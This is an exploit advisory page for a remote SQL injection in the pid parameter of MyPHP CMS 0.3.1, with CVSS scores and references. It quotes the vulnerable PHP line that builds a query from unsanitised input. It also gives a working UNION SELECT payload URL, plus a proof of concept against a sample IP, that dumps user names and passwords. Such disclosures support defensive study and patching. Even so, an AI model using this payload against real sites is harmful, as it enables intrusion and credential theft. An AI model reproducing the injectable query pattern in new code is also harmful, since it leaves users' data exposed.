MyPHP CMS 0.3.1 (page.php pid) Remote SQL Injection Vulnerability

2008.08.08
Credit: CWH
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

=============================================================== MyPHP CMS (page.php pid) Remote SQL Injection Vulnerability =============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 25 June 2008 SITE : www.citec.us ##################################################### APPLICATION : MyPHP CMS VERSION : 0.3.1 VENDOR : N/A DOWNLOAD : http://downloads.sourceforge.net/myphpcms ##################################################### --- Remote SQL Injection --- ** Magic Quote must turn off ** --------------------------------- Vulnerable File [page.php?pid=] --------------------------------- @Line 13: $psql = "SELECT * FROM ".$table_prefix."pages WHERE pid='$pid'"; 14: $pprocess = mysql_query ( $psql ); 15: $prow = mysql_fetch_array ( $pprocess ); --------- Exploit --------- [+] http://[Target]/[myphpcms_path]/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/[prefix_users]/**/WHERE/**/uid='1 This exploit can dump username and password in clear text ------------- POC Exploit ------------- [+] http://192.168.24.25/myphpcms/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/users/**/WHERE/**/uid='1 ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ##################################################################

Referencje:

http://xforce.iss.net/xforce/xfdb/43358
http://www.securityfocus.com/bid/29940
http://www.milw0rm.com/exploits/5937


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top